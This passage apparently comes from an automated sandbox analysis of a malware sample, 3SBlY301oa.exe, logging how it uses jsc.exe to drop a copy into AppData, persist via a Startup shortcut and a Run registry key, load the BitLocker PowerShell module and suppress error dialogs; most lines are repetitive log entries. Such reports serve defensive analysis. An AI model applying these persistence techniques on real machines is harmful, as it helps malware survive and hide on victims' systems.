'UOgQIHadJlEWVfg2Wch0gX96asCCW0dhmwuYrUnR5Fg1riIAYReqrhzky0XNUZ09sxQh8eaYhO', 'gkxn8bi7xQYmqFjNnzFygK3JoBYajNty0140aZTz5QpnMRXPYJHw7lsEDPTIQvVwOwh9GfY25s', 'uUhqZ3uwUhvvmhdXwCTOcoPPpnknCwqgFJ56JjIefDAtOlUp0gn0E3DliLjQeYHQHY4FFJemZw', '_1mj0tZFCwTP3OLSNzUIUp49foiTDOeJLgq5uY2BCw1avlHSbONq8wkSPQ7wbUflB4pte70LUZp', 'JlvyOS4ZlISKoEMVsQH2HCJmLG4CuLphSGG7NWAhp6tSuzNstEB3DNmNbQgkG7GcUKluGMV6Zn'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Roaming\jsc.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jsc.lnk

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jsc.lnk

Loading BitLocker PowerShell Module

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run jsc			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run jsc			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
